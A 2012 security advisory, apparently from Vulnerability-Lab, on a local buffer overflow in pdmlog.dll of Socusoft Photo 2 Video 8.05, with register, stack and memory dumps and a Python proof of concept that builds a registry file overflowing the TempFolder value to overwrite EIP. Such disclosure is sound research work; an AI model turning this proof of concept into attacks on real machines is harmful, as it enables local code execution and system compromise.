Socusoft Photo 2 Video 8.05 Buffer Overflow

`Title:  
======  
Socusoft Photo 2 Video v8.05 - Buffer Overflow Vulnerability  
  
  
Date:  
=====  
2012-02-27  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=460  
  
  
VL-ID:  
=====  
460  
  
  
Introduction:  
=============  
Socusoft photo to video converter Professional allows you to create all kinds of eye-catching   
slideshow videos (mp4, flv, mov, avi, mkv, mpeg, h.264, h.264 HD, 3gp, 3gpp2, swf ) playable on   
YouTube, Facebook, MySpace, iPod, iPad, iphone, Archos, PSP, Zune. With the powerful Photo to Video   
Converter Professional,you could convert photo to the animating and dynamic video and share the   
video on YouTube, Facebook, MySpace, iPod, iPad, iPhone. With just a few minutes of work, you\\\'ll   
have an eye-catching slideshow video with background music and dynamic pan&zoom and attractive   
transition effects. This powerful Photo to Video Converter Professional supports Over 260 animating   
transition effects with Pan & Zoom effect.  
  
(Copy of the Vendor Homepage: )  
  
  
Abstract:  
=========  
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Socusofts Photo to Video   
Converter Free and Professional v8.05  
  
  
Report-Timeline:  
================  
2012-02-27: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Socusoft Photo 2 Video v8.05  
  
  
Exploitation-Technique:  
=======================  
Local  
  
  
Severity:  
=========  
High  
  
  
Details:  
========  
A Buffer Overflow vulnerability is detected on Socusoft Photo to Video Converter Free and Professional v8.05 (current version).   
The vulnerability is located in the pdmlog.dll. Successful exploitation can result in execution of code, overwrite of registers & system compromise.  
  
Vulnerable DLL(s):  
[+] pdmlog.dll  
  
  
--- Registers ---  
# EAX 42424242  
# EBX 00360000 pdmlog.dll:00360000  
# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B  
# EDX 80284006   
# ESI 00000002  
# EDI 00000000  
# EBP 01C5FC0C Stack[000001AC]:01C5FC0C  
# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0  
# EIP 42424242  
# EFL 00010206  
  
--- Stack ---  
# 01C5FBE0 00000000  
# 01C5FBE4 00000002  
# 01C5FBE8 000094B7  
# 01C5FBEC 00000001  
# 01C5FBF0 0036BF6F pdmlog.dll:pdmlog_5+A69F <- Crash  
# 01C5FBF4 00360000 pdmlog.dll:00360000  
# 01C5FBF8 00000002  
# 01C5FBFC 00000000  
# 01C5FC00 00000000  
# 01C5FC04 01C5FC20 Stack[000001AC]:01C5FC20  
# 01C5FC08 7FFDE000 debug066:7FFDE000  
  
--- Dump ---  
# 00370584 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
# 00370594 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
# 003705A4 42 42 42 42 43 43 43 43 43 43 43 43 43 43 43 43 BBBBCCCCCCCCCCCC  
# 003705B4 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC  
# 003705C4 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC  
  
  
Picture(s):  
../1.png  
  
  
Proof of Concept:  
=================  
The Vulnerability can be exploited by local attackers. For demonstration or reproduce ...  
  
#!/usr/bin/python  
  
# Exploit Title: Socusoft Photo to Video Converter Free/Pro v8.05 (pdmlog.dll) Local Buffer Overflow PoC  
# Version: 8.05  
# Date: 2012-02-26  
# Author: Julien Ahrens  
# Homepage: http://www.inshell.net  
# Software Link: http://www.socusoft.com  
# Tested on: Windows XP SP3 Professional German  
# Notes: Overflow occurs in pdmlog.dll  
# Howto: Import Reg -> Start App  
  
# EAX 42424242  
# EBX 00360000 pdmlog.dll:00360000  
# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B  
# EDX 80284006   
# ESI 00000002  
# EDI 00000000  
# EBP 01C5FC0C Stack[000001AC]:01C5FC0C  
# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0  
# EIP 42424242  
# EFL 00010206  
  
# 01C5FBE0 00000000  
# 01C5FBE4 00000002  
# 01C5FBE8 000094B7  
# 01C5FBEC 00000001  
# 01C5FBF0 0036BF6F pdmlog.dll:pdmlog_5+A69F <- Crash  
# 01C5FBF4 00360000 pdmlog.dll:00360000  
# 01C5FBF8 00000002  
# 01C5FBFC 00000000  
# 01C5FC00 00000000  
# 01C5FC04 01C5FC20 Stack[000001AC]:01C5FC20  
# 01C5FC08 7FFDE000 debug066:7FFDE000  
  
file="poc.reg"  
  
junk1="\x41" * 548  
boom="\x42\x42\x42\x42"  
junk2="\x43" * 100  
  
poc="Windows Registry Editor Version 5.00\n\n"  
poc=poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"  
poc=poc + "\"TempFolder\"=\"" + junk1 + boom + junk2 + "\""  
  
try:  
print "[*] Creating exploit file...\n";  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print "[*] File successfully created!";  
except:  
print "[!] Error while creating file!";  
  
  
Risk:  
=====  
The security risk of the local buffer overflow vulnerability is estimated as high(-).   
  
  
Credits:  
========  
Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer) [www.inshell.net]  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-  
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab or its suppliers.  
  
Copyright © 2012|Vulnerability-Lab  
  
--   
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com  
Contact: [email protected] or [email protected]  
  
`